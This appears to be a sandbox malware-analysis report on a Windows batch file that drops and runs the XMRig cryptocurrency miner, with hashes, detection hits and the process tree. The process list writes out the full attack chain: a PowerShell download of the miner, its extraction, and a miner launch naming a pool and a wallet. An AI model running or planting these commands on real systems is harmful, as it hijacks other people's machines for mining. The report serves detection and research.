Overview
overview
10Static
static
11.bat
windows10-1703-x64
1010.bat
windows10-1703-x64
1011.bat
windows10-1703-x64
1012.bat
windows10-1703-x64
1013.bat
windows10-1703-x64
1014.bat
windows10-1703-x64
1015.bat
windows10-1703-x64
102.bat
windows10-1703-x64
103.bat
windows10-1703-x64
104.bat
windows10-1703-x64
105.bat
windows10-1703-x64
106.bat
windows10-1703-x64
107.bat
windows10-1703-x64
108.bat
windows10-1703-x64
109.bat
windows10-1703-x64
10Resubmissions
Analysis
-
max time kernel
1794s -
max time network
1806s -
platform
windows10-1703_x64 -
resource
win10-20240221-en -
resource tags
arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system -
submitted
18/03/2024, 18:05
Static task
static1
Behavioral task
behavioral1
Sample
1.bat
Resource
win10-20240214-en
Behavioral task
behavioral2
Sample
10.bat
Resource
win10-20240221-en
Behavioral task
behavioral3
Sample
11.bat
Resource
win10-20240221-en
Behavioral task
behavioral4
Sample
12.bat
Resource
win10-20240221-en
Behavioral task
behavioral5
Sample
13.bat
Resource
win10-20240221-en
Behavioral task
behavioral6
Sample
14.bat
Resource
win10-20240221-en
Behavioral task
behavioral7
Sample
15.bat
Resource
win10-20240221-en
Behavioral task
behavioral8
Sample
2.bat
Resource
win10-20240221-en
Behavioral task
behavioral9
Sample
3.bat
Resource
win10-20240221-en
Behavioral task
behavioral10
Sample
4.bat
Resource
win10-20240221-en
Behavioral task
behavioral11
Sample
5.bat
Resource
win10-20240221-en
Behavioral task
behavioral12
Sample
6.bat
Resource
win10-20240221-en
Behavioral task
behavioral13
Sample
7.bat
Resource
win10-20240221-en
Behavioral task
behavioral14
Sample
8.bat
Resource
win10-20240221-en
General
-
Target
12.bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral4/files/0x000600000001ac6d-118.dat family_xmrig behavioral4/files/0x000600000001ac6d-118.dat xmrig behavioral4/memory/4984-121-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-124-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-125-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-126-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-129-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-130-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-131-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-132-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-133-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-134-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-135-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-136-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-137-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-138-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-139-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-140-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-141-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-142-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-143-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-144-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-145-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-146-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-147-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-148-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-149-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-150-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-151-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-152-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-153-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-154-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-155-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-156-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-157-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-158-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-159-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-160-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-161-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-162-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-163-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-164-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-165-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-166-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-167-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-168-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-169-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-170-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-171-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-172-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-173-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-174-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-175-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-176-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-177-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-178-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-179-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-180-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-181-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-182-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-183-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-184-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-185-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig behavioral4/memory/4984-186-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 3536 powershell.exe 4 3536 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4984 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3536 powershell.exe 3536 powershell.exe 3536 powershell.exe 3700 powershell.exe 3700 powershell.exe 3700 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 624 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3536 powershell.exe Token: SeDebugPrivilege 3700 powershell.exe Token: SeLockMemoryPrivilege 4984 xmrig.exe Token: SeLockMemoryPrivilege 4984 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4984 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4360 wrote to memory of 3536 4360 cmd.exe 75 PID 4360 wrote to memory of 3536 4360 cmd.exe 75 PID 4360 wrote to memory of 3700 4360 cmd.exe 76 PID 4360 wrote to memory of 3700 4360 cmd.exe 76 PID 4360 wrote to memory of 4984 4360 cmd.exe 77 PID 4360 wrote to memory of 4984 4360 cmd.exe 77
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\12.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4360 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3536
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3700
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4984
-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
-
Filesize
3KB
MD556efdb5a0f10b5eece165de4f8c9d799
SHA1fa5de7ca343b018c3bfeab692545eb544c244e16
SHA2566c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA51291e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc
-
Filesize
1KB
MD581a9e12b5ea7fe5fe3ee2688b18e02b4
SHA1394d1957e268acfb56cf2f4256ce28cbdabd3e97
SHA256ced7be5312dc1f70ed36c582d12401b7e31494594c3fa6078d4182b70db2544a
SHA512205f2bdc21ebb108c518a2ca56b839ca7e908db8fc3d1037f1eebed3f56307268b308bd9f301aa97181fcf73e16a149c33fdf6f04a9b699587c0d0d75a684b0e
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
3.2MB
MD54b2275e8df65719009314a0a23a45558
SHA195fbef4629f6ace3dba90df63a9825e503e3c7eb
SHA2564b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699
SHA512afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f
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Filesize
4.7MB
MD5cff77a6996b17bc36672cf5f187f7015
SHA13040e66e54ced4286e30a02d895813596fd8a663
SHA2561a773c3cb23359bef6aa9ca92d60297da660372491b864c36e8a09690bbdc04b
SHA5121bf2c74b27a4448702c55828c4dba3c2902c50a6e918aaf49b5508945c2f3374ba877fbe5b6be5d12f6ab4255c50a1d826445827793e0eafaeacea99b6e1a94c